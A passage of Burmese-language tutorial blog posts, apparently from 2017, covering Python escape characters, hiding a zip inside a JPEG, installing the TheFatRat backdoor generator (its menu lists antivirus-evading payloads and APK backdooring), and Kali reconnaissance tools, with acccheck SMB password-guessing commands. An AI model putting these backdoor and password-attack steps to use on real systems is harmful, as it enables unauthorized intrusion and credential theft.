နောက်ထပ် အသုံးဝင်တာတွေကိုတော့ ဆက်ပြီး လေ့လာရအောင်ပါ။\nဒီတစ်ခါတော့ Code Type အနည်းငယ်ကို ဖော်ပြပေးလိုပါတယ်။ \_n ရေးရင် နောက်တစ်လိုင်း enter ခြားစေတဲ့ ကုဒ်မျိုးလေးတွေပါ။\nEscape What it does\n\_\_ Baskslash (\_) ရေးမယ့် string ထဲမှာ \_ ထည့်ချင်တဲ့အခါ ဖန်ရှင်အဖြစ် မသတ်မှတ်အောင် \_\_ ရေးရတယ်\n\_' Single-quote(') ရေးမယ့် string ထဲမှာ ' ထည့်ချင်တဲ့အခါ single quote သမားတွေပဲ ဒီလိုလုပ်ဖို့ လိုတယ်။ Double Quotes နဲ့ ရေးရင် မလို\n\_" Double-quotes (") Double quotes ထဲမှာ " ထပ်ထည့်ချင်ရင် ဥပမာ ကိုယ်ထုတ်ချင်တာက It is "apple". ဆိုပါတော့။ အတွင်းက " တွေ ပေါ်အောင် သုံးတယ်။\n\_a ASCII bell (BEL) Telephone ပုံလေး ပေါ်တယ်\n\_b ASCII backspace (BS) print ("apple\_bag") ရေးကြည့်ရင် သိမယ်။ \_b နေရာ ဘာပြောင်းသွားမလဲဆိုတာ လုပ်ကြည့်\n\_f ASCII formfeed (FF) print ("apple\_flower") ရေးကြည့် အဲတိုင်းမထွက်ဘဲ \_f နေရာ ဘာဝင်လာမလဲ ဆိုတာမှတ်\n\_n ASCII linefeed (LF) ဒါကတော့ သိတယ် enter လို့ ပြောတာ\n\_r Carriage Return (CR) print ("apple\_ring") \_r နေရာမှာ ပြောင်းသွားတာကို မှတ်ထား။ ကိုယ့်ဘာသာ လုပ်ကြည့်မှ သိမှာ\n\_t Horizontal Tab (TAB) \_t တစ်ခါထည့်ရင် tab တစ်ချက်စာ ရွှေ့တယ်။ print ("apple\_t\_t\_torange") စမ်းကြည့်ပါ။\nဒီတိုင်း ပြောပြတာက နားလည်ရခက်ပါလိမ့်မယ်။ အောက်ပါအတိုင်း ရိုက်ပြီး စမ်းကြည့်ရအောင်ပါ။\nIDLE3ကို ဖွင့်ပြီး ပေါ်လာတဲ့ Shell မှာ တိုက်ရိုက် ရိုက်စမ်းကြည့်ပါ။ ပုံ ၂ မှာ နမူနာ ပြထားပါတယ်။\nprint ("ဒီထဲမှာ အပေါ်က သင်္ကေတတွေ ပါအောင် ထည့်ရိုက်ကြည့်ပါဒ")\nဘာကွာလဲ သတိထားမိအောင် လုပ်ပါ။\nပြီးရင် အောက်ပါ လေ့ကျင့်ခန်းတွေကို သေချာလုပ်ပါ။\nA isacat. B isadog. C isa"cow".\nA is in \_app\_tmp. B is in "house".\nC is \_run\_hut.\nအထက်ပါ စာသုံးကြောင်းအတိုင်း အတိအကျ ထွက်စေရန် print သုံးပြီး တစ်ကြောင်းတည်း ရေးပြပါ။\nအဖြေပုံကို chatbox ကနေသာ ပို့ပါရန်။\nဒီနေ့အတွက်တော့ နောက်ဆုံးအနေနဲ့ input function လေးနဲ့ အဆုံးသတ်ပါမယ်။\nInput Function ဆိုရင် သိပြီးသားဖြစ်ပါတယ်။\ninput("Enter your name.") စတဲ့ ပုံစံမျိုး ကျွန်တော်တို့ ရေးခဲ့ကြပါတယ်။ သုံးလည်း သုံးခဲ့ကြပါတယ်။ အဆင်လည်း ပြေခဲ့ကြပါတယ်။\nဒုတိယ လေ့ကျင့်ခန်းအနေနဲ့ input function များ ပါဝင်တဲ့ program လေးတစ်ခုကို ရှေ့သင်ခန်းစာများ လုံးဝ လုံးဝ ပြန်မကြည့်ဘဲ ရေးရပါမယ်။\nသင်ခန်းစာကတော့ ထုထည် တွက်နည်း ဖြစ်ပါတယ်။ area.py ဆိုတာလေး သင်ခဲ့ရပါတယ်။ ဆင်တူပေါ့။\nအချက်အလက် နည်းနည်း ပေးပါမယ်။ ထုထည်ရဲ့ ဖော်မြူလာက အောက်ခြေဧရိယာ x အမြင့် ဖြစ်ပါတယ်။\nVolume = A * H\nA= Area (အလျား x အနံ) length * width\nH= Heigh (အမြင့်)\nထုထည် = အလျား x အနံ x အမြင့်\nVolume = length * width * heigh ဖြစ်ပါတယ်\nသုံးခုမြှောက်လို့ ယူနစ် သုံးထပ် cubic unit ဖြစ်ပါတယ်။ cm ကို သုံးစမယ်ဆိုရင် cubic cm ပေါ့။\nအားလုံးပဲ ဒီအိမ်စာလေးကို လုပ်နိုင်မယ် ထင်ပါတယ်\nSee U ဗျာ\nBy KhitMinnyo on November 29, 2017 No comments:\nKali November 27, 2017\nဓာတ်ပုံ တစ်ပုံထဲမှာ ဒေတာတွေကို ဝှက်ရအောင် (Kali Linux Trick)\nHide Any Data Into Images\nData ကို image ဖိုင်တစ်ခုထဲမှာ hide မယ်ဆိုတော့ စိတ်ဝင်စားစရာတော့ ဖြစ်မယ်ထင်တယ်နော်။ မည်သည့် ဒေတာကို မဆို ဝှက်နိုင်ပါတယ်။\n(Word, excel, powerpoint, exe, movie) ဘာမဆိုကို ဝှက်လို့ရပါတယ်။ ပထမဆုံးအနေနဲ့ hide_test ဆိုတဲ့ နာမည်နဲ့ folder တစ်ခုကို ကြိုက်တဲ့နေရာမှာ တည်ဆောက်လိုက်ပါ။ ကျွန်တော်ကတော့ Desktop မှာပဲ ရွေးလိုက်ပါတယ်။ ဖိုဒါ နာမည်ကို မိမိနှစ်သက်ရာ ပေးနိုင်ပါတယ်။ space မခြားရပါဘူး။ ကျွန်တော်က ပုံတစ်ပုံထဲမှာ mp3 တစ်ခုကို ဝှက်ပြီး ထည့်မှာမို့ ခုန folder ထဲကို ပုံတစ်ပုံနဲ့ သီချင်းတစ်ပုဒ် ထည့်လိုက်ပါတယ်။\nပြီးတဲ့အခါ compress type မှာ zip ရွေးလိုက်ပါတယ်။ နာမည်ကို mp3 ပဲ ထားပြီး enter လိုက်ပါတယ်။ ဒီသင်ခန်းစာထဲမှာပါတဲ့ ပုံ compress.png နဲ့ compress2.png မှာ ကြည့်နိုင်ပါတယ်။\nzip နဲ့ image ၂ခုတော့ အသင့် ရှိနေပါပြီ။ အဲသည် folder ထဲကို Terminal ကနေ ဝင်ရောက်လိုက်ပါတယ်။\nmp3.zip pl.jpg ဗင်းဆင့်ဗန်ဂိုးတမ်းချင်း.mp3\nဖြန့်ချကြည့်တဲ့အခါမှာတော့ အထက်ပါအတိုင်း တွေ့ရမှာဖြစ်ပါတယ်။ ဖိုင် သုံးခု ရှိတာ သေချာ မြင်ရပါပြီ။ အဲမှာ ပြန်ပြောပြချင်တာက ကျွန်တော် ဝှက်ချင်တာက mp3.zip ဖြစ်သွားပါပြီ။ ဒီဘက်က သီချင်းမဟုတ်တော့ပါဘူး။ ထည့်ဝှက်မယ့် ဖိုင်က pl.jpg ဆိုတဲ့ ပုံလေးတစ်ပုံ ထဲမှာပေါ့။ Terminal ထဲကနေပြီးပဲ ဆက်ရအောင်ဗျ\nroot@kmn:~/Desktop/hide_test# cat pl.jpg mp3.zip >finish.jpg\nဆိုပြီး ရိုက်လိုက်ပါတယ်။ cat ကို အသုံးပြု ပြီး pl.gpg ထဲကိ mp3.zip ထည့်မယ် ထွက်လာမယ့်ဖိုင်က finish.jpg ဆိုတာဖြစ်မယ်ပေါ့။ ဖိုင်နာမည်တွေက ကိုယ့်ဘာသာ ထည့်ထားတဲ့ဖိုင်ကို အသုံးပြုနိုင်ပါတယ်။ တစ်ခုပဲ သတိထားရမှာက ဖိုင်နာမည်တွေမှာ space ချဲမထားရပါဘူး။ နောက်တစ်ချက် ပြောချင်တာက file type မလွဲအောင် ရိုက်ဖို့ လိုပါတယ်။ .jpg .zip စတာတွေ လွဲလို့မရပါဘူး။\nခုဆိုရင်တော့ ကျွန်တော်တို့ folder ထဲမှာ ဖိုင် သုံးခုမဟုတ်တော့ပါဘူး။ ဖိုင် လေးခု ဖြစ်သွားပါပြီ။ finish.jpg ကလွဲရင် ကျန်တဲ့ဖိုင်တွေကို ဖျက်လိုက်လို့ ရပါပြီ။ ls နဲ့ဖော်ကြည့်ရင် ကျွန်တော် ပေါင်းစပ်ထားတဲ့ ဖိုင်တစ်ဖိုင်ကိုပဲ တွေ့ရတော့မှာဖြစ်ပါတယ်။\nကဲ ပြန်ဖြည်ရအောင်။ ဘယ်လိုပြန်ဖြည်မလဲ။ လွယ်ပါတယ်။ unzip command လေးနဲ့ အလွယ်တကူ ဖြည်နိုင်ပါတယ်။ ဖွင့်ထားတဲ့ terminal တွေပါ ပိတ်လိုက်ပါ။ ပြီးရင် သူ့ folder ထဲကို ပြန်ဝင်ပါမယ်။\nroot@kmn:~# cd Desktop ပထမဆုံး desktop ကို အရင် ဝင်လိုက်ပါတယ်\nroot@kmn:~/Desktop# cd hide_test သူ့ကို ဖန်တီးထားတဲ့ folder ထဲ ထပ်ဝင်လိုက်ပါတယ်\nroot@kmn:~/Desktop/hide_test# ls ဖြန့်ကြည့်လိုက်တော့ အောက်ပါတစ်ဖိုင်ပဲ ရှိသေးတာ တွေ့ရပါမယ်\nroot@kmn:~/Desktop/hide_test# unzip finish.jpg ဖြည်လိုက်တာပါ\nwarning [finish.jpg]: 394508 extra bytes at beginning or within zipfile\nroot@kmn:~/Desktop/hide_test# ခုနေမှာ ဖြန့်ကြည့်ရင် ခုန ဝှက်ထားတဲ့ သီချင်းဖိုင်ကို တွေ့ရပြီဖြစ်ပါတယ်\nBy KhitMinnyo on November 27, 2017 No comments:\nInstalling The Fat RAT & Introduction to Information Gathering tools (မြန်မာလို)\n1. Installing The Fat RAT\nဒီနေ့ သင်ခန်းစာမှာတော့ ပထမဆုံးအနေနဲ့ ထည့်သွင်းဖို့ လိုအပ်တာက TheFatRat ပါ။ ဒေါင်းယူရမယ့် လိပ်စာလေး ပေးလိုက်ပါတယ်။ Day4ရဲ့ နောက်ဆုံး သင်ခန်းစာမှာ ဒေါင်းဖို့ ပြောထားပြီးသားမို့ ဒေါင်းပြီးသားသူတွေက ဒေါင်းစရာမလိုအပ်တော့ပါဘူး။ install လုပ်ရမယ့်အဆင့်ကို ဖတ်လိုက်ပါ။ မဒေါင်းရသေးတဲ့သူတွေက\nhttps://github.com/Screetsec/TheFatRat မှာ ဒေါင်းယူရမှာဖြစ်ပါတယ်။ အစိမ်းရောင် download ခလုတ်ကို နှိပ်ပြီး ဒေါင်းယူရမှာဖြစ်ပါတယ်။ terminal ကနေ ဒေါင်းယူချင်ရင်တော့ ပထမဆုံးအနေနဲ့\nlocation တစ်ခုခုပေါ် (example) Desktop ပေါ်ကို ရွေးယူထားလိုက်ရပါမယ်။\nအထက်ပါ command ကို အသုံးပြုပြီး terminal ကနေ ဒေါင်းယူနိုင်မှာဖြစ်ပါတယ်။ ရလာတဲ့ zip ဖိုင်ကို Right Click နှိပ်ပြီး extract here လိုက်မယ်ရင်တော့ Desktop ပေါ်မှာ TheFatRat ဆိုတဲ့ နာမည်နဲ့ folder တစ်ခုကို တွေ့မြင်ရမှာဖြစ်ပါတယ်။\nအထက်ပါ folder ကို ဖွင့်လိုက်ပါ။ ပြီးရင် လွတ်တဲ့နေရာမှာ R-click နှိပ်ပြီး open in terminal ကို ရွေးလိုက်ပါ။ (သို့မဟုတ် terminal ကနေပဲ cd ကို အသုံးပြုပြီး folder ထဲ ရောက်အောင်ဝင်ပါ။) ဒီထိ ထပ်ရှင်းပြစရာမလိုလောက်တော့ဘူးလို့ ထင်ပါတယ်။ အထက်ပါအတိုင်း ဝင်ရောက်ပြီးပြီဆိုရင်တော့ ls နဲ့ ဖွင့်ကြည့်ရင် သူ့ထဲမှာ ရှိတဲ့ ဖိုင်တွေ list နဲ့ တက်လာမှာဖြစ်ပါတယ်။\nchmod +x fatrat\nchmod +x powerfull.sh\nပြီးရင်တော့ setup ဖိုင်ကို run ပါမယ်။ run တာက ./ နော်\n_ _____/_____ _/ |_\_______ \______ _/ |_\n| __) \___ \_ \_ __\_| _/\___ \_ \_ __\_\n| \_ / __ \__| | | | \_ / __ \__| |\n\____ / (____ /|__| |____|_ /(____ /|__|\n/_ | / __ \_\n| | \_____ /\n|___| /\_ /____/\nSetup Script for FATRAT 1.9\n[ ✔ ] Xterm.............................[ found ]\n[ ✔ ] Dns-Utils ........................[ found ]\n[ ✔ ] Zenity............................[ found ]\n[ ✔ ] Gcc compiler......................[ found ]\n[ X ] Monodevelop -> not found\n[ ! ] Installing monodevelop\nဆိုပြီး ပေါ်လာမှာဖြစ်ပြီး နောက်ထပ် terminal box တစ်ခုမှာ install progress ကို တွေ့မြင်ရပါမယ်။ ofline မဟုတ်တဲ့အတွက် အင်တာနက်လိုင်း ရှိနေဖို့ လိုအပ်ပါတယ်။\ninstall အဆင့်က တော်တော်ကြာတာမို့ စိတ်ရှည်ရှည် စောင့်ဖို့ လိုအပ်ပါတယ်။ 100% ပြည့်မှ finish ဖြစ်ပါမယ်။\nFatRat တင်ပြီးတဲ့အခါ ခေါ်ကြည့်ရင် ဒီလို မြင်ရပါမယ်\n_|____|_ _____ _ _____ _ _____ _\n/ ee\__ |_ _| |_ ___| __|___| |_| __ |___| |_\n.< __O | | | | -_| __| .'| _| -| .'| _|\n/\_ \_.-.' \_ |_| |_|_|___|__| |___|_| |__|__|___|_|\nJ \_.|'.\_/ \_\n| |_.|. | | | [--] Backdoor Creator for Remote Acces [--]\n\___.' .|-' / [--] Created by: Edo Maland (Screetsec) [--]\nL /|o'--'\_ [--] Version: 1.9.2 [--]\n| /\_/\_/\_ \_ [--] Codename: Whistle [--]\nJ / \_.__\_ [--] Follow me on Github: @Screetsec [--]\nJ / \_.__\_ [--] Dracos Linux : @dracos-linux.org [--]\n|/ / [--] [--]\n\_ .'\_. [--] SELECT AN OPTION TO BEGIN: [--]\n____)_/\__(___\_. [--] .___________________________________[--]\n Create Backdoor with msfvenom\n Create Fud 100% Backdoor [Slow but Powerfull]\n Create Fud Backdoor with Avoid v1.2\n Create Fud Backdoor with backdoor-factory [embed]\n Backdooring Original apk [Instagram, Line,etc]\n Create Fud Backdoor 1000% with PwnWinds [Excelent]\n Create Backdoor For Office with Microsploit\n Create auto listeners\n Jump to msfconsole\n File Pumper [Increase Your Files Size]\nကျွန်တော်တို့တွေမှာလည်း ကြိုတင်ပြင်ဆင်တာတွေ များနေတယ်။ ခုထိကို ဟုတ်တိပတ်တိ ဘာမှ မလုပ်ရသေးဘူးဖြစ်နေတယ်နော်။ ပြင်ဆင်တဲ့အပိုင်း မပြီးသေးဘူးလား လို့ မေးချင်တဲ့သူ ရှိကောင်းရှိပါမယ်။\nKali Linux ခု ကျွန်တော်တို့ သုံးနေတဲ့ 26.2 Version မှာ tools တွေ အများကြီး built-in ပါနေတာကို သတိထားမိကြတယ်နော်။ ကျွန်တော်တို့ ကိုယ်တိုင်လည်း တွေ့ဖူးနေတယ်။ ကောင်းပြီ။\nခုပဲ all application menu ကို ဖွင့်ပြီး Folder 1 (Information Gathering) ကို ကြည့်လိုက်ရအောင်။ ယခု သင်ခန်းစာ folder ထဲမှာ ပူးတွဲပါတဲ့ pic1 ကို ကြည့်ပါ။ မိမိတို့စက်ထဲမှာလည်း အဲအတိုင်းပဲ ဖြစ်ပါမယ်။ ပုံထဲမှာ arrow နဲ့ပြ ထားတဲ့ ပထမဆုံး tool ကို ကြည့်ပါ။ 0trace ဖြစ်ပါတယ်။ ဖွင့်ကြည့်ပါ။ ဘာပေါ်လာတာကို မြင်ရပါသလဲ။ terminal ပဲ ပေါ်လာတာကို တွေ့ရပါလိမ့်မယ်။\nအဲသည် terminal မှာပဲ 0trace လို့ ရိုက်ကြည့်လိုက်ပါဦး။ ပြီးရင် enter ပေါ့။ ဘာတွေ့ရပါသလဲ။\nbash: 0trace: command not found\nဆိုပြီး မရှိဘူးဆိုတာ တွေ့ရပါလိမ့်မယ်။\nInformation Gathering (အချက်အလက် စုဆောင်းခြင်း) အုပ်စုထဲမှာ ပါဝင်တဲ့ tools တွေ ကို အောက်မှာ ဖော်ပြပေးထားပါတယ်။\nacccheck ace-voip Amap Automater bing-ip2hosts\nbraa CaseFile CDPSnarf cisco-torch Cookie Cadger\n#copy-router-config DMitry dnmap dnsenum dnsmap\nDNSRecon dnstracer dnswalk DotDotPwn enum4linux\nenumIAX Faraday Fierce Firewalk fragroute\nfragrouter Ghost Phisher GoLismero goofile hping3\n#ident-user-enum InTrace iSMTP lbd Maltego Teeth\nmasscan Metagoofil Miranda nbtscan-unixwiz Nmap\nntop p0f Parsero Recon-ng SET\nsmtp-user-enum snmp-check SPARTA sslcaudit SSLsplit\nsslstrip SSLyze THC-IPV6 theHarvester TLSSLed\ntwofi URLCrazy Wireshark WOL-E Xplico\nKali Linux မှာ အသုံးပြုနိုင်တဲ့ Information Gathering Tools တွေပါ။ ၆၀ တိတိ ရှိပါတယ်။ ဒါပေမယ့် ကျွန်တော်တို့ သုံးရမှာ ခုဖော်ပြထားတဲ့အတိုင်းတော့ မဟုတ်ပါဘူး။ နည်းနည်း ရှုပ်သွားပြီထင်တယ်။\nကဲ ဒါဆိုရင် AccCheck အကြောင်းကို အရင်ဆုံးပြောရအောင်။\nသူ့ကို အလွယ်ကူဆုံး ရှင်းပြရမယ်ဆိုရင်တော့ သူက Dictionary ကို အသုံးပြုပြီး Passwword Guessing Attack လုပ်တာပေါ့။ Admin Acc ရဲ့ user name တွေနဲ့ passwords တွေကို ယှဉ်တွဲနိုင်အောင် ကြိုးစားပေးတဲ့ tools ဖြစ်ပါတယ်။ The tool is designed asapassword dictionary attack tool that targets windows authentication via the SMB protocol. လို့ သူ့ရဲ့ မူလWeb မှာ ဖော်ပြထားပါတယ်။ SMB protocol ကနေ target ရဲ့ windows authenication ကို ရယူလိုတဲ့အခါ Password dictionary attack လုပ်လို့ရအောင် ရေးဆွဲထားတဲ့ tools ပေါ့။\n-t [single host IP address] ဒါကတော့ ရှင်းပါတယ်။ IP တစ်ခုတည်းကို မူသေ သတ်မှတ်ကြိုးစားခြင်းဖြစ်ပြီး\n-T [file containing target ip address(es)] ဒါကတော့ IP Address တွေ ပါဝင်နေတဲ့ ဖိုင်ကို အသုံးပြုပြီး ကြိုးစားတာ ဖြစ်ပါတယ်\n-p [single password]\n-P [file containing passwords]\n-u [single user]\n-U [file containing usernames]\n-v [verbose mode]\nAttempt the 'Administrator' account witha[BLANK] password.\nacccheck -t 10.10.10.1\nAttempt all passwords in 'password.txt' against the 'Administrator' account.\nacccheck -t 10.10.10.1 -P password.txt\nAttempt all password in 'password.txt' against all users in 'users.txt'.\nacccehck -t 10.10.10.1 -U users.txt -P password.txt\nAttemptasingle password againstasingle user.\nacccheck -t 10.10.10.1 -u administrator -p password\nနောက်တစ်ခု က ace\nACE VoIP Directory Tool ပေါ့။\nACE (Automated Corporate Enumerator)ဆိုတာက ဖုန်းရဲ့ Screen interface ပေါ်မှာ ဖော်ပြနိုင်တဲ့ entry တွေ name တွေကို download ရယူနိုင်စေဖို့အတွက် IP Phone တစ်ခုရဲ့ Behavior ကို အတုလုပ် ဖော်ပြနိုင်စွမ်းရှိတဲ့ tool တစ်ခုဖြစ်ပါတယ်။ powerful VoIP Corporate Directory enumeration tool လို့ ဆိုနိုင်ပါတယ်။\nautomate VoIP attacks တွေကို ပြုလုပ်နိုင်ဖို့ ဖန်တီးထားတဲ့ tool တစ်ခုဖြစ်ပါတယ်။ ACE ကနေ VoIP corporate directory တွေကို ဒေါင်းယူနိုင်ဖို့အတွက် DHCP, TFTP, and HTTP တွေကို သုံးပြီး အလုပ်လုပ်ပါတယ်။ Directory တွေကိုလည်း text file အနေနဲ့ ထုတ်ပေးတယ်။ အခြား VoIP Assessment Tools တွေနဲ့ အလုပ်လုပ်နိုင်တဲ့ text file အဖြစ်ပေါ့။\nACE ကို ပုံစံ နှစ်မျိုးနဲ့ အသုံးပြုနိုင်ပါတယ်။ ပထမတစ်မျိုးက DHCP ကနေတစ်ဆင့် TFTP Server IP Address ကို အလိုအလျောက် ရှာဖွေပေးတာဖြစ်ပြီး နောက်တစ်ခုကတော့ command line parameter အဖြစ် TFTP Server IP address ကို user က သတ်မှတ်ပေးနိုင်တာဖြစ်တယ်။ အဲဒီအတွက်တော့ Mac Address ကို သိဖို့ လိုအပ်ပြီး -m option ကို အသုံးပြုရပါလိမ့်မယ်။\nUsage: ace [-i interface] [ -m mac address ] [ -t tftp server ip address | -c cdp mode | -v voice vlan id | -r vlan interface | -d verbose mode ]\n-i (Mandatory) Interface for sniffing/sending packets\n-m (Mandatory) MAC address of the victim IP phone\n-t (Optional) tftp server ip address\n-c (Optional)0CDP sniff mode, 1 CDP spoof mode\n-v (Optional) Enter the voice vlan ID\n-r (Optional) Removes the VLAN interface\n-d (Optional) Verbose | debug mode\nဒီလို မှတ်ထားနိုင်ပါတယ်။ နမူနာ အသုံးပြုကတော့ အောက်ပါအတိုင်း ဖြစ်ပါတယ်။\nUsage requires MAC Address of IP Phone supplied with -m option\nUsage: ace -t -m\nMode to automatically discover TFTP Server IP via DHCP Option 150 (-m)\nExample: ace -i eth0 -m 00:1E:F7:28:9C:8e\nMode to specify IP Address of TFTP Server\nExample: ace -i eth0 -t 192.168.10.150 -m 00:1E:F7:28:9C:8e\nMode to specify the Voice VLAN ID\nExample: ace -i eth0 -v 96 -m 00:1E:F7:28:9C:8E\nExample: ace -i eth0 -v 96 -m 00:1E:F7:28:9C:8E -d\nMode to remove vlan interface\nExample: ace -r eth0.96\nMode to auto-discover voice vlan ID in the listening mode for CDP\nExample: ace -i eth0 -c0-m 00:1E:F7:28:9C:8E\nMode to auto-discover voice vlan ID in the spoofing mode for CDP\nExample: ace -i eth0 -c 1 -m 00:1E:F7:28:9C:8E\namap v5.4 (c) 2011 by van Hauser www.thc.org/thc-amap\nSyntax: amap [-A|-B|-P|-W] [-1buSRHUdqv] [[-m] -o ] [-D ] [-t/-T sec] [-c cons] [-C retries] [-p proto] [-i ] [target port [port] ...]\n-A Map applications: send triggers and analyse responses (default)\n-B Just grab banners, do not send triggers\n-P No banner or application stuff - bea(full connect) port scanner\n-1 Only send triggers toaport until 1st identification. Speeeeed!\n-6 Use IPv6 instead of IPv4\n-b Print ascii banner of responses\n-i FILE Nmap machine readable outputfile to read ports from\n-u Ports specified on commandline are UDP (default is TCP)\n-R Do NOT identify RPC service\n-H Do NOT send application triggers marked as potentially harmful\n-U Do NOT dump unrecognised responses (better for scripting)\n-d Dump all responses\n-v Verbose mode, use twice (or more!) for debug (not recommended :-)\n-q Do not report closed ports, and do not print them as unidentified\n-o FILE [-m] Write output to file FILE, -m creates machine readable output\n-c CONS Amount of parallel connections to make (default 32, max 256)\n-C RETRIES Number of reconnects on connect timeouts (see -T) (default 3)\n-T SEC Connect timeout on connection attempts in seconds (default 5)\n-t SEC Response wait timeout in seconds (default 5)\n-p PROTO Only send triggers for this protocol (e.g. ftp)\nTARGET PORT The target address and port(s) to scan (additional to -i)\namap isatool to identify application protocols on target ports.\nNote: this version was NOT compiled with SSL support!\nUsage hint: Options "-bqv" are recommended, add "-1" for fast/rush checks.\namapcrap လည်း ရှိပါသေးတယ်\namapcrap v5.4 (c) 2011 by van Hauser/THC\nSyntax: amapcrap [-S] [-u] [-m 0ab] [-M min,max] [-n connects] [-N delay] [-w delay] [-e] [-v] TARGET PORT\n-S use SSL after TCP connect (not usuable with -u)\n-u use UDP protocol (default: TCP) (not usable with -c)\n-n connects maximum number of connects (default: unlimited)\n-N delay delay between connects in ms (default: 0)\n-w delay delay before closing the port (default: 250)\n-e do NOT stop whenaresponse was made by the server\n-m 0ab send as random crap:0-nullbytes, a-letters+spaces, b-binary\n-M min,max minimum and maximum length of random crap\nTARGET PORT target (ip or dns) and port to send random crap\nThis tool sends random data toasilent port to illicitaresponse, which can\nthen be used within amap for future detection. It outputs proper amap\nappdefs definitions. Note: by default all modes are activated (0:10%, a:40%,\nb:50%). Mode 'a' always sends one line with letters and spaces which end with\n\_r\_n. Visit our homepage at http://www.thc.org\nနမူနာ တစ်ခု သုံးပြပါမယ်\nroot@kmn:~# amap -bqv 192.168.1.15 80\nUsing trigger file /etc/amap/appdefs.trig ... loaded 30 triggers\nUsing response file /etc/amap/appdefs.resp ... loaded 346 responses\nUsing trigger file /etc/amap/appdefs.rpc ... loaded 450 triggers\namap v5.4 (www.thc.org/thc-amap) started at 2017-03-30 10:13:03 - APPLICATION MAPPING mode\nTotal amount of tasks to perform in plain connect mode: 23\nWaiting for timeout on 23 connections ...\namap v5.4 finished at 2017-03-30 10:13:14\nတစ်ခုစီ ရှင်းပြဖို့ဆိုရင်တော့ ကျွန်တော်တို့အတွက် အရမ်း အချိန်တွေပေးရမှာဖြစ်ပြီး မှတ်ထားနိုင်ဖို့လည်း အလွန်ခက်ပါလိမ့်မယ်။ စာတွေ အများကြီး ကျက်ဖို့လည်း လိုနေမှာပါ။\nကျွန်တော်ကတော့ အဲသည်နည်းကို အားမပေးတဲ့အတွက် tools တစ်ခုစီမှာ သူ့ဖော်ပြချက်နဲ့သူ ရှိတယ်ဆိုတာလေးကို မှတ်ထားဖို့လောက်ပဲ အားပေးချင်ပါတယ်။\nKali November 25, 2017\nInformation များကို တူးဆွကြည့်ခြင်း\n1. Using dig command\nTerminal ကို ဖွင့်ပြီး dig လို့ ရိုက် enter ကြည့်လိုက်ပါ။ dig ရဲ့ info တွေ ထွက်လာမှာဖြစ်ပါတယ်။ Example အနေနဲ့ အောက်မှာ စမ်းပြထားပါတယ်။ ကြည့်ကြည့်ပါ။\nroot@kali:~# dig facebook.com\n; <<>> DiG 9.10.3-P4-Debian <<>> facebook.com\n;; ->>HEADER<<- 19245="" id:="" noerror="" opcode:="" p="" query="" status:="">;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1\n; EDNS: version: 0, flags:; udp: 1280\n;facebook.com. IN A\nfacebook.com. 237 IN A 157.240.7.35\n;; Query time: 49 msec\n;; SERVER: 192.168.43.1#53(192.168.43.1)\n;; WHEN: Mon Mar 27 03:12:04 EDT 2017\nroot@kali:~# dig google.com\n; <<>> DiG 9.10.3-P4-Debian <<>> google.com\n;; ->>HEADER<<- 54522="" id:="" noerror="" opcode:="" p="" query="" status:="">;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1\ngoogle.com. 119 IN A 216.58.196.14\n;; Query time: 462 msec\n;; WHEN: Mon Mar 27 03:12:23 EDT 2017\nအောက်ဆုံးမှာ စုပေးထားတဲ့ အချက်အလက်တွေက အဓိက လိုရင်းဖြစ်ပါတယ်။\n2. Using Dmitry\nAll programs >> Infomation Gathering>> dmitry ဆိုပြီး အစဉ်လိုက်ဖွင့်ကြည့်လို့ရသလို Applications>> 01. Information Gathering >> dmitry ကနေလည်း ဖွင့်နိုင်ပါတယ်။ နောက်ဆုံးအချက်အနေနဲ့ Terminal မှာ dmitry ဆိုပြီး ရိုက်ခေါ်လို့လည်း ရပါတယ်။ ကဲ သုံးနည်းလုံးနဲ့ စမ်းဖွင့်ကြည့်ပါဗျာ။ ခု သင်ခန်းစာမှာပါတဲ့ screenshot လေးတွေမှာလည်း ပါတာမို့ အဆင်ပြေလိမ့်မယ်လို့ ယူဆပါတယ်ဗျာ။ ပါလာတဲ့ ပုံလေးတွေ ကြည့်ကြည့်ပါ။\nဖွင့်ပြီးပြီလို့ပဲ ယူဆရအောင်ဗျာ .......................\nဖွင့်လိုက်ပြီးတာနဲ့ အောက်ပါအတိုင်း မြင်ရမှာဖြစ်ပါတယ်။\n"There be some deep magic going on"\nUsage: dmitry [-winsepfb] [-t 0-9] [-o %host.txt] host\n-o Save output to %host.txt or to file specified by -o file\n-i Performawhois lookup on the IP address ofahost\n-w Performawhois lookup on the domain name ofahost\n-n Retrieve Netcraft.com information onahost\n-s Performasearch for possible subdomains\n-e Performasearch for possible email addresses\n-p PerformaTCP port scan onahost\n* -f PerformaTCP port scan onahost showing output reporting filtered ports\n* -b Read in the banner received from the scanned port\n* -t 0-9 Set the TTL in seconds when scanningaTCP port ( Default2)\n*Requires the -p flagged to be passed\nLinux program တိုင်းမှာ ခုလို ဖော်ပြလေးတွေ ရှိကြပါတယ်။ ဒါမှ ဘာက ဘာအတွက် သုံးမယ်ဆိုတာ သိမှာမို့ပါ။ ခု ဒီထဲမှာ ပါဝင်တဲ့ option တွေကိုပဲ အရင် ကြည့်ရအောင်ပါ။\nတစ်ကြောင်းချင်းစီ ရှင်းပြဖို့ လိုမယ်ထင်ပါတယ်။ သိတဲ့သူတွေလည်း ကြည့်လိုက်ပါဦး။ နောက်ပိုင်း ထပ်မံရှိလာမယ့် ပရိုဂရမ်တွေကျ ကိုယ့်ဘာသာ လုပ်တတ်လာဖို့ လိုအပ်ပါတယ်။ တစ်ခုချင်းစီကို Eng လို ဖော်ပြပေးထားပြီး ဖတ်ရလည်း လွယ်ပါတယ်။\nသူကတော့ -o ကို သုံးရင် output ကို save လုပ်ပေးမှာဖြစ်တယ်။ txt format နဲ့ သိမ်းမှာပါ။\nhost ရဲ့ IP address ကို ကြည့်ချင်တဲ့အခါ whois lookup ကို လုပ်ဆောင်ပေးတယ်။\nhost ရဲ့ Domain name ကို ရှာဖို့ပေါ့\nNetcraft.com မှာ ဖော်ပြထားတဲ့ အချက်အလက်တွေကို ရယူဖို့ သုံးတယ်\nဒိုမိန်း အခွဲကလေးတွေကို ရှာဖွေပေးတဲ့နေရာမှာ အသုံးပြုပါတယ်\nဒါကတော့ မေးလ် ရှာတာပေါ့။ သူဖော်ပြထားတာလေးတွေက ရှင်းပါတယ်။\nhost ကို TCP port scan လုပ်မယ်\nအောက်မှာ * နဲ့ ပြထားတာတေတွကတော့ သတိပြုစေချင်တာတွေ ပါရှိလို့ ဖြစ်ပါတယ်။ ကဲ လက်တွေ့ 